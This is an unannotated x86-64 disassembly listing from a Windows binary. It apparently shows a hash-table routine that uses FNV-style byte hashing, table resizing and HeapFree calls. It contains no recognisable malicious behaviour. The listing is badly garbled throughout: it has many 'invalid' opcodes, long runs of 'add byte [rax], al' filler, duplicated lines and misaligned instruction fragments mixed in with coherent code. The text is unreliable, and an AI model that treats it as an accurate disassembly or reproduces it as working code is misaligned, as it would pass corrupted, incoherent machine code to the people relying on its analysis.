mov r8, qword [rsp + 0x50]
jae 0x140028c6e
test rbx, rbx
je 0x14002914b
movzx eax, byte [rsp + 0x3e0]
lea ecx, [rax - 2]
dec al
cmp cl, 6
movzx eax, al
mov ecx, 0
add byte [rax], al
add byte [rax], al
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x140176dac]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
movabs r8, 0x89cd31291d2aefa4
jmp rcx
mov rax, qword [rsp + 0x88]
mov qword [rax + 0x50], 7
movzx eax, byte [0x140182310]
mov edx, 0xc0
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14002b15a
mov rsi, rax
mov qword [rax], 0
mov qword [rax + 0x18], 0
sbb byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0x48], 0
sbb byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0x48], 0
mov dword [rax + 0x48], 0
mov qword [rax + 0x60], 0
add byte [rax], al
mov qword [rax + 0x78], 0
mov qword [rax + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xa8], 0
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x398]
cmp qword [rax], 0
invalid
je case.default.0x140028ee5
invalid
add byte [rbx + rbx + 0x48], dh
mov eax, dword [rsp + 0x88]
sbb ecx, dword [rax - 0x75]
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x40], cl
and byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0x88]
mov r8, qword [rax + 0x20]
mov rcx, qword [0x140182260]
or eax, 0x1593da
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x88]
mov qword [rax + 0x18], 8
invalid
add byte [rax], al
add byte [rax - 0x77], cl
jo 0x140028ec2
mov qword [rax + 0x20], rsi
mov qword [rax + 0x28], 8
or byte [rax], al
add byte [rax], al
mov ebx, 8
movzx eax, byte [rsp + 0x3e0]
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rbp - 0x370101b8], cl
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rbp - 0x370101b8], cl
cmp cl, 6
movzx eax, al
mov ecx, 0
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x140176dac]
add byte [rax + 0x63], cl
or al, 0x8a
add byte [rax + 0x63], cl
or al, 0x8a
add rcx, rdx
movabs r8, 0x89cd31291d2aefa4
jmp rcx
mov rcx, qword [rsp + 0x3a0]
xor r8d, r8d
test rcx, rcx
movabs al, byte [0x8548c03145000003]
leave
setne r8b
movabs rdx, 0xa8c7f832281a39c5
xor r8, rdx
movabs rdx, 0x1efac7090aef4a21
imul r8, rdx
test rcx, rcx
je 0x1400293ed
ret 0x8548
test al, dl
add al, 0
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0xb0
add eax, dword [rax]
add byte [rbp - 0x7b], cl
ror byte [rdi], cl
test byte [rdx + 5], ah
add byte [rax], al
invalid
mov r10, qword [rsp + 0x3b0]
test r10, r10
je case.0x140028def.1
invalid
add byte [rax - 0x75], cl
mov word [rax + rbp*4], fs
add eax, dword [rax]
add byte [rbp - 0x77], cl
ror dword [rcx - 0x7d], cl
jrcxz 0x140028f44
mov rcx, qword [rsp + 0x3a8]
mov r11, r10
and r11, 7
je 0x140029401
mov rdx, rcx
mov edx, ecx
movabs rsi, 0x100000001b3
movzx r9d, byte [rdx]
inc rdx
xor r9, r8
imul r9, rsi
mov r8, r9
dec r11
jne 0x140028f50
cmp r10, 8
jae 0x140029417
jmp 0x140029488
cmp eax, 0x194
je 0x140029332
cmp eax, 0x1f4
jne 0x140028b1c
mov eax, 0xe
jmp case.0x1400284a7.85
movabs r8, 0x2cdcdc0dfc5d1141
jmp case.0x140028def.1
movabs r8, 0xe6bd86443df8ce07
jmp case.0x140028def.1
movabs r8, 0xc7c2bf3b330983e6
jmp case.0x140028def.1
movabs r8, 0xde21504f16dc720
jmp case.0x140028def.1
movabs r8, 0x6ad26a20123ba583
jmp case.0x140028def.1
xor r14d, r14d
test r12, r12
je 0x1400290cc
test al, ah
add byte [rax], al
invalid
add byte [rax - 0x48], cl
push rsi
push rbp
push rbp
push rbp
push rbp
push rbp
push rbp
add eax, 0xfc43949
xor dword [rdi + 0x21], 0
add byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
loopne 0x14002900a
movabs rax, 0x555555555555556
cmp r12, rax
jae 0x14002b176
mov rax, rbx
shl rax, 4
lea r15, [rax + rax*2]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400df910
test rax, rax
je 0x14002b169
lea rcx, [r12 - 1]
lea r8, [r12 - 2]
mov rdx, rax
cmp r8, 7
mov r15d, dword [rsp + 0x94]
jb 0x1400290a2
mov r8, rcx
and r8, 0xfffffffffffffff8
mov rdx, rax
nop dword [rax]
mov qword [rdx], 0
mov qword [rdx + 0x18], 0
mov qword [rdx + 0x30], 0
mov qword [rdx + 0x48], 0
mov qword [rdx + 0x60], 0
mov qword [rdx + 0x78], 0
mov qword [rdx + 0x90], 0
mov qword [rdx + 0xa8], 0
mov dword [rdx + 0xa8], 0
add rdx, 0xc0
add r8, 0xfffffffffffffff8
clc
jne 0x140029050
and ecx, 7
nop word cs:[rax + rax]
invalid
mov qword [rdx], 0
add rdx, 0x18
dec rcx
jne 0x1400290b0
invalid
mov qword [rdx], 0
jmp 0x1400290cc
xor r14d, r14d
mov r8, qword [rsp + 0x88]
mov rcx, qword [r8 + 0x18]
mov qword [r8 + 0x18], r12
mov qword [r8 + 0x20], rax
mov qword [r8 + 0x28], r12
lea rdx, [r12 - 1]
mov qword [r8 + 0x50], rdx
cmp r14, rbx
ja 0x14002b148
lea r8, [r14 + r14*2]
lea r8, [rsi + r8*8]
jne 0x140029240
mov r9, rsi
test r14, r14
mov r14, rbp
jne case.0x1400b3705.201
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x14002912a
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, r12
lea r13, [rsp + 0x160]
mov r12, qword [rsp + 0x260]
mov r8, qword [rsp + 0x50]
test rbx, rbx
jne 0x140028db9
mov eax, 4
lea rcx, [rsp + 0xc8]
cmp byte [rsp + 0xbc], 0
add byte [rbp + 0x15], dh
mov qword [rsp + 0xc8], r8
mov eax, 1
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x3e0]
mov qword [rcx + 0x40], rdx
movaps xmm0, xmmword [rsp + 0x3a0]
movabs al, byte [0xb0248c280f000003]
add eax, dword [rax]
invalid
movabs al, byte [0xb0248c280f000003]
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], dl
sub byte [rsp + 0x3b0], cl
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rbx, qword [rsp + 0x280]
jmp rax
lea rdi, [rax + rbx*8]
mov qword [rdi], 1
mov qword [rdi + 8], r10
mov qword [rdi + 0x10], r11
mov rdi, qword [rsp + 0xb0]
add r9, 0x18
cmp r9, r8
je 0x140029113
test byte [rbx], cl
invalid
invalid
invalid
test byte [rbx], cl
invalid
cmp qword [r9], 0
je 0x1400291fb
mov r10, qword [r9 + 8]
mov r11, qword [r9 + 0x10]
mov rbx, r11
mov ebx, ebx
and rbx, rdx
nop dword [rax]
mov rdi, rbx
mov ebx, 0
cmp rdi, r12
jae 0x140029220
lea rbx, [rdi + rdi*2]
cmp qword [rax + rbx*8], 0
je 0x1400291e0
inc rdi
mov rbx, rdi
jmp 0x140029220
lea r9, [rbx + rbx*2]
lea r9, [rsi + r9*8]
mov r10, r8
jmp 0x140029280
lea rbx, [rax + r15*8]
mov qword [rbx], 1
mov qword [rbx + 8], r11
mov qword [rbx + 0x10], rdi
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
add r10, 0x18
cmp r10, r9
je 0x140029104
cmp qword [r10], 0
je 0x140029273
mov r11, qword [r10 + 8]
mov rdi, qword [r10 + 0x10]
mov r15, rdi
and r15, rdx
nop word cs:[rax + rax]
mov rbx, r15
mov r15d, 0
cmp rbx, r12
jae 0x1400292a0
lea r15, [rbx + rbx*2]
cmp qword [rax + r15*8], 0
je 0x140029250
inc rbx
mov r15, rbx
jmp 0x1400292a0
mov eax, 0
sbb eax, eax
or eax, 1
xor ecx, ecx
test eax, eax
sete cl
mov rax, rcx
or rax, 6
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
test cl, cl
je 0x140028733
mov rax, qword [rsp + 0x50]
jmp case.0x1400284a7.85
movzx ecx, byte [rsp + 0x490]
mov dword [rsp + 0x94], r15d
call fcn.14002e0f0
add byte [r8], r8b
mov dh, 0x8c
and al, 0x90
add al, 0
add byte [rcx + rcx*4 - 0x44], al
and al, 0x94
xchg esp, eax
add byte [rax], al
add al, ch
out dx, al
add byte [r8], r8b
mov rbx, rax
mov rsi, rdx
movzx r11d, byte [rsp + 0x4f]
movzx ebx, byte [rsp + 0x4f]
movzx ebx, byte [rsp + 0x4f]
mov r15d, dword [rsp + 0x94]
test r11b, r11b
jne 0x140028820
invalid
invalid
add byte [rax], al
add byte [rbp - 0x7c], al
fisttp dword [rdi]
test dword [rcx], eax
cmc
add ebp, esi
invalid
jmp 0x140028875
mov eax, 8
jmp case.0x1400284a7.85
mov eax, 0xb
jmp case.0x1400284a7.85
mov eax, 0xd
jmp case.0x1400284a7.85
mov eax, 9
nop
mov rbp, rax
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
mov dword [rcx + 0x40], eax
mov dword [rcx + 0x40], eax
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x138], dl
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x138], dl
add byte [rax], al
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
add qword [rax], rax
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
push rcx
and byte [rdi], cl
adc dword [rcx + 0x10], ecx
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0xc0], 0
mov dword [rsp + 0xc0], 0
add byte [rax - 0x75], cl
and al, 0x60
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
cmp rcx, rax
jne case.0x14001a6b7.345
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126f0
dec dword [rax - 0x75]
and al, 0x60
invalid
dec dword [rax - 0x75]
and al, 0x60
invalid
invalid
mov rcx, qword [rsp + 0x68]
or bpl, 0x80
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], bpl
sub al, 2
inc rax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
add byte [rax], al
cmp rax, rcx
ja case.default.0x14002a5a1
mov qword [rsp + 0x60], rax
jmp 0x14002a9f0
movzx ecx, byte [rsp + 0x3a8]
xor r8, rcx
imul r8, rdx
jmp case.0x140028def.1
mov r9, r8
mov rdx, rcx
movabs rsi, 0x100000001b3
cmp r10, 8
jb 0x140029488
add rcx, r10
nop word [rax + rax]
movzx r8d, byte [rdx]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 1]
xor r9, r8
imul r9, rsi
movzx r8d, byte [rdx + 2]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 3]
xor r9, r8
xor ecx, eax
imul r9, rsi
movzx r8d, byte [rdx + 4]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 5]
xor r9, r8
imul r9, rsi
movzx r8d, byte [rdx + 6]
xor r8, r9
imul r8, rsi
movzx r9d, byte [rdx + 7]
add rdx, 8
xor r9, r8
imul r9, rsi
cmp rdx, rcx
jne 0x140029420
mov r8, r9
nop dword [rax + rax]
add byte [rbp + 0xf], al
mov bh, 0xc8
movzx r9d, r8w
mov rdx, qword [rsp + 0x88]
mov rsi, qword [rdx + 0x50]
push rax
mov ecx, r9d
and ecx, esi
mov r13, qword [rdx + 0x20]
mov r10, qword [rdx + 0x30]
push rdx
xor byte [rbx + rcx*4 + 0x5a], cl
pop rax
push rdx
xor byte [rbx + rcx*4 + 0x5a], cl
pop rax
mov r8, qword [rdx + 0x48]
mov qword [rsp + 0x208], r8
mov r8, qword [rdx + 0x40]
mov qword [rsp + 0x450], r8
and al, 0x50
add al, 0
add byte [rbx + rcx*4 + 0x62], cl
cmp byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa0
add eax, dword [rax]
add byte [rax], al
and al, 0x50
add al, 0
add byte [rbx + rcx*4 + 0x62], cl
cmp byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa0
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x298], rdx
mov rdx, qword [rsp + 0x3a8]
mov qword [rsp + 0x390], rdx
movzx edx, byte [rsp + 0x3a8]
mov byte [rsp + 0x278], dl
add byte [rax], al
mov qword [rsp + 0x298], rdx
mov rdx, qword [rsp + 0x3a8]
mov qword [rsp + 0x390], rdx
movzx edx, byte [rsp + 0x3a8]
mov byte [rsp + 0x278], dl
mov rdx, qword [rsp + 0x3b0]
mov qword [rsp + 0x290], rdx
and al, 0x90
add al, byte [rax]
invalid
and al, 0x90
add al, byte [rax]
add byte [rdi], cl
movzx eax, al
movzx eax, al
mov qword [rsp + 0x98], rax
xor edi, edi
mov qword [rsp + 0x2a0], r14
invalid
add al, byte [rax]
add bl, ch
invalid
cwde
add byte [rax], al
add byte [rcx], dh
dec dword [rcx + rcx*4 - 0x4c]
and al, 0xa0
movabs al, byte [0x4b92deb000002]
invalid
movabs al, byte [0x4b92deb000002]
add byte [rax], al
invalid
mov ecx, 4
add byte [rax + 0x3b], cl
mov word [rax + rbx*4], fs
add byte [rax], al
cmp rcx, qword [rsp + 0x98]
je 0x1400296d4
invalid
sahf
add dword [rax], eax
invalid
add byte [rdi], cl
test byte [rsi + 0x48000001], bl
inc edi
inc rdi
inc r15
mov rcx, r15
mov ecx, edi
mov ecx, edi
mov r14, qword [rsp + 0x2a0]
mov esi, dword [rsp + 0x2a0]
movabs al, byte [0x841f0f66000002]
add byte [rax], al
add byte [rax], al
invalid
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
iretd
mov r15, rcx
mov edi, ecx
mov ecx, 0
cmp r15, rbx
add byte [rax], al
add byte [rcx + 0x39], cl
fbstp tbyte [rbx - 0xd]
jae 0x140029550
jae 0x140029550
lea rax, [r15 + r15*2]
add al, 0x7f
cmp qword [r13 + rax*8], 0
cmp dword [rbp + rax*8], 0
add byte [rax], al
je 0x1400299ed
add byte [rax + rax], 0
lea rax, [rax*8]
add al, 0xc5
add byte [rax], al
add byte [rax], al
add rax, r13
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x10]
mov ecx, dword [rax + 0x10]
mov rdx, rcx
and rdx, rsi
mov r8, r15
mov eax, edi
mov eax, edi
sub r8, rdx
and r8, rsi
cmp r8, rdi
jb 0x140029a6a
invalid
invalid
add al, 0
invalid
invalid
cmp rcx, r9
jne 0x140029536
mov rbp, qword [rax + 8]
lea r14, [r11 + rbp]
cmp qword [rsp + 0x208], r14
jbe 0x14002affd
mov rax, qword [rsp + 0x450]
add rax, r14
xor ecx, ecx
cmp rax, r10
jb 0x1400295c6
mov rdx, r10
jmp 0x1400295c8
xor edx, edx
sub rax, rdx
lea rax, [rax + rax*2]
shl rax, 5
movzx edx, byte [r12 + rax + 0x50]
lea r8d, [rdx - 2]
cmp r8b, 6
cmp al, 6
cmp al, 6
clc
invalid
jae case.default.0x1400295f9
dec dl
movzx ecx, dl
movzx ecx, cl
mov dh, 0xc9
lea r8, [0x140176dc8]
adc al, 0
movsxd rdx, dword [r8 + rcx*4]
add rdx, r8
jmp rdx
cmp qword [rsp + 0x98], 0
jne 0x140029536
add rax, r12
add eax, esp
cmp qword [rsp + 0x298], 0
sete dl
mov rcx, qword [rax + 0x10]
test rcx, rcx
setne r8b
cmp r8b, dl
je 0x140029536
test rcx, rcx
je 0x1400296c3
mov rcx, qword [rsp + 0x290]
cmp qword [rax + 0x20], rcx
jne 0x140029536
mov rcx, qword [rax + 0x18]
mov rdx, qword [rsp + 0x390]
mov r8, qword [rsp + 0x290]
mov qword [rsp + 0x288], r9
mov dword [rsp + 0x288], ecx
mov dword [rsp + 0x288], ecx
mov qword [rsp + 0x3f0], r10
mov dword [rsp + 0x3f0], edx
and al, 0xf0
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x64], cl
and al, 0
mov qword [rsp + 0x200], r11
call fcn.140106bb0
mov r11, qword [rsp + 0x200]
pushfq
and al, 0
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add al, ch
invalid
pushfq
and al, 0
add al, byte [rax]
add byte [rax], al
invalid
invalid
xchg esp, eax
and al, 0xf0
lock add eax, dword [rax]
add byte [rax], al
mov r10, qword [rsp + 0x3f0]
lock add eax, dword [rax]
add byte [rbx + rcx*4 - 0x74], cl
and al, 0x88
add al, byte [rax]
add byte [rbp - 0x627af040], al
invalid
invalid
popfq
invalid
mov r9, qword [rsp + 0x288]
test eax, eax
jne 0x140029536
jmp 0x1400296d4
mov ecx, 2
jmp case.0x1400295f9.1
add byte [rax], al
add cl, ch
cmp esi, 0xffffffff
invalid
mov ecx, 3
jmp case.0x1400295f9.1
add cl, ch
jns 0x1400296ab
invalid
mov ecx, 5
jmp case.0x1400295f9.1
add cl, ch
outsd dx, dword [rsi]
invalid
mov ecx, 6
jmp case.0x1400295f9.1
add byte [rax], al
add cl, ch
invalid
movzx ecx, byte [rsp + 0x278]
js 0x1400296cb
add byte [rax], al
cmp byte [rax + 0x18], cl
jne 0x140029536
invalid
invalid
invalid
invalid
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
and al, 0xa0
add eax, dword [rax]
movabs al, byte [0xb0248c280f000003]
add eax, dword [rax]
add byte [rdi], cl
add byte [rdi], cl
sub byte [rsp + 0x3b0], cl
movaps xmm2, xmmword [rsp + 0x3c0]
sub byte [rsp + 0x3c0], dl
and al, 0xc0
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3d0], bl
and al, 0xd0
add eax, dword [rax]
add byte [rax], al
movaps xmm3, xmmword [rsp + 0x3d0]
and al, 0xd0
add eax, dword [rax]
add byte [rax], al
movaps xmmword [rsp + 0x210], xmm0
add byte [rax], al
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x240], xmm3
pushfq
and al, 0x40
add al, byte [rax]
invalid
add byte [rdi], cl
sub dword [rsp + 0x240], ebx
pushfq
and al, 0x40
add al, byte [rax]
invalid
pushfq
and al, 0x40
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x230], edx
xor byte [rdx], al
add byte [rax], al
invalid
movaps xmmword [rsp + 0x230], xmm2
xor byte [rdx], al
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x54], cl
and al, 0xe0
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x54], cl
mov r13, qword [rsp + 0x3e0]
mov qword [rsp + 0x250], r13
and al, 0x50
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x84
and al, 0x10
add al, byte [rax]
add byte [rsi - 0x77], ah
test byte [rax + rbx*4], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x20
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x1f
add al, byte [rax]
add cl, al
loopne 0x140029767
and al, 0x50
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x84
and al, 0x10
add al, byte [rax]
add byte [rsi - 0x77], ah
test byte [rax + rbx*4], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x20
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x1f
add al, byte [rax]
add cl, al
loopne 0x140029767
movzx ecx, word [rsp + 0x21d]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x219]
add al, byte [rax]
add byte [rcx], cl
ror dword [rax - 0x3f], 0xe1
and byte [rbx + 0x2192484], cl
add byte [rax], al
and al, 0x19
add al, byte [rax]
add byte [rax + 9], cl
enter 0xffffffffffff8b48, 0xffffffffffffff8c
and al, 0x11
adc dword [rdx], eax
invalid
or rax, rcx
mov rcx, qword [rsp + 0x211]
adc dword [rdx], eax
add byte [rax], al
invalid
adc dword [rdx], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add al, 0
add byte [rax - 0x77], cl
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4e8], rcx
mov word [rax + rbp*8], fs
add al, 0
add byte [rax + 0xf], cl
movsb byte [rdi], byte [rsi]
enter 0x4808, 0xffffffffffffff89
test byte [rax + rcx*4], ah
and al, 0x88
add al, byte [rax]
invalid
mov word [rax + rbp*8], fs
add al, 0
add byte [rax + 0xf], cl
movsb byte [rdi], byte [rsi]
enter 0x4808, 0xffffffffffffff89
test byte [rax + rcx*4], ah
and al, 0x88
and al, 0x88
add al, byte [rax]
add byte [rcx + rcx*4 - 0x18], al
add byte [rax], al
mov eax, r13d
or al, 0xf8
mov byte [rsp + 0x290], al
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
and al, 0x40
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add eax, dword [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
and al, 0x40
and al, 0x40
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rsp + 0x238]
invalid
invalid
test byte [rax + rsi*8], ah
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x3f0], rax
mov dword [rsp + 0x3f0], eax
mov dword [rsp + 0x3f0], eax
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0xb0]
mov r15d, dword [rsp + 0x94]
mov edi, dword [rsp + 0x94]
mov esp, 0xb024
add byte [rbx + rcx*4 - 0x44], al
invalid
invalid
and al, 0x94
xchg esp, eax
mov edi, dword [rsp + 0x94]
xchg esp, eax
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
and al, 8
add al, byte [rax]
invalid
mov rsi, qword [rsp + 0x208]
and al, 8
add al, byte [rax]
add byte [rcx + rcx*4 - 0x54], cl
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0x98], r8
add byte [rcx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
invalid
and al, 0xa8
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0x98
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x450]
add rax, r14
mov rax, qword [rsp + 0x450]
mov eax, dword [rsp + 0x450]
add rax, r14
cmp rax, r10
mov ecx, 0
sar byte [rcx], 1
cmovae rcx, r10
sub rax, rcx
lea rbx, [rax + rax*2]
lea ebx, [rax + rax*2]
lea ebx, [rax + rax*2]
shl rbx, 5
movzx eax, byte [r12 + rbx + 0x50]
lea ecx, [rax - 2]
invalid
invalid
dec al
cmp cl, 6
movzx ecx, al
mov eax, 0
add byte [rdi], cl
enter 0xffffffffffff8d49, 0x44
sbb al, 0x10
invalid
add byte [rdi], cl
enter 0xffffffffffff8d49, 0x44
sbb al, 0x10
movzx ecx, cl
lea rdx, [0x140176de4]
adc eax, 0x14d5aa
adc eax, 0x14d5aa
add byte [rax + 0x63], cl
or al, 0x8a
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp byte [rsp + 0x290], 0xfa
mov esp, 0x29024
add dl, bh
jae 0x1400299c0
outsd dx, dword [rsi]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x390]
mov word [rax + rdx*4], fs
add eax, dword [rax]
add byte [rax], al
cmp qword [rax + 0x30], rcx
invalid
add byte [rax], al
cmp qword [rax + 0x30], rcx
jne 0x1400299c0
test dword [rbp + 1], ebx
add byte [rax], al
test dword [rbp + 1], ebx
add dword [rax], eax
add byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
xchg esp, eax
and al, 0xf0
lock add eax, dword [rax]
add byte [rax], al
mov rcx, qword [rax + 0x28]
mov rdx, qword [rsp + 0x3f0]
mov edx, dword [rsp + 0x3f0]
mov edx, dword [rsp + 0x3f0]
lock add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7c], cl
mov r8, qword [rsp + 0x390]
jmp 0x140029967
add byte [rax], al
and al, 0x90
add eax, dword [rax]
add cl, ch
jmp case.0x14001a3ad.683
add byte [rax], al
cmp r13b, 5
je 0x14002994d
add byte [rax], al
add byte [rax], al
jmp 0x1400299c0
cmp r13b, 3
jne 0x1400299c0
add ecx, dword [rdi]
test dword [rbx], ebp
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
movzx ecx, word [rsp + 0x298]
cmp byte [rax], cl
jne 0x1400299c0
add dword [rax], eax
invalid
and al, 0x98
add al, byte [rax]
add byte [rax], bh
or byte [rdi], cl
test dword [rbx], ebx
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 0x98
add al, byte [rax]
movzx ecx, word [rsp + 0x298]
cmp cl, 0xa
je 0x14002994d
add byte [rax - 0x7bf0f507], al
xchg edi, eax
add byte [rax], al
add byte [rdi], cl
movzx ecx, cl
movzx ecx, cl
cmp ecx, 9
jne 0x140029e92
add byte [rax], al
add byte [rax], al
movzx ecx, word [rax + 0xd]
movzx edx, byte [rax + 0xf]
shl edx, 0x10
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rax + 9]
or qword [rax + 9], rcx
ror dword [rax - 0x75], 1
push rax
add dword [rax + 0x33], ecx
xor edx, dword [rsp + 0x4e8]
or qword [rax + 9], rcx
ror dword [rax - 0x75], 1
push rax
add dword [rax + 0x33], ecx
invalid
xor edx, dword [rsp + 0x4e8]
xchg esp, eax
and al, 0xe8
add al, 0
add byte [rax + 0x33], cl
mov word [rax + rsi*8], fs
add al, 0
add byte [rcx - 0x48], cl
invalid
invalid
xor rcx, qword [rsp + 0x4f0]
movabs r8, 0xffffffffffffff
and rcx, r8
mov r8, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rax + 9], cl
ror dword [rdi], 1
invalid
mov ch, 0
add byte [rax], al
cwde
add byte [rax], al
add byte [rax + 9], cl
ror dword [rdi], 1
test dword [rbp + 0x44000000], esi
add byte [rax], al
cmp byte [rax + 0x10], r8b
add byte [rax], al
cmp byte [rax + 0x10], r8b
jne 0x1400299c0
jmp 0x140029e92
cmp r13b, 4
je 0x14002994d
add al, 0x74
sub eax, 0x9be9
add byte [rcx - 0x80], al
invalid
invalid
jmp 0x1400299c0
cmp r13b, 2
jne 0x1400299c0
xchg ecx, eax
add byte [rax], al
invalid
std
add cl, byte [rdi]
test dword [rcx + 0x4c000000], edx
xchg ecx, eax
add byte [rax], al
add byte [rcx + rdi + 0x40], cl
invalid
xchg ecx, eax
add byte [rax], al
add byte [rcx + rdi + 0x40], cl
adc byte [rdi], cl
test dword [rdi + 0x48000000], eax
add byte [rax - 0x75], cl
invalid
invalid
cmp qword [rax + 0x10], r8
jne 0x1400299c0
add byte [rax - 0x75], cl
or byte [rax - 0x75], cl
xchg esp, eax
and al, 0x88
add al, byte [rax]
add byte [rax], al
jmp case.0x1400289b4.98
cmp r13b, 6
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x288]
add byte [rax], al
jmp case.0x1400289b4.98
cmp r13b, 6
jne 0x1400299c0
cmp qword [rax + 0x10], r8
jne 0x1400299c0
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x278]
mov r8, qword [rsp + 0x98]
mov rsi, r9
mov r13, r10
call fcn.140106bb0
mov r8, qword [rsp + 0x98]
add byte [rax], al
add byte [rbx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
add byte [rbp - 0x77], cl
invalid
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
add byte [rbp - 0x77], cl
invalid
mov r13, qword [rsp + 0xa8]
mov r9, rsi
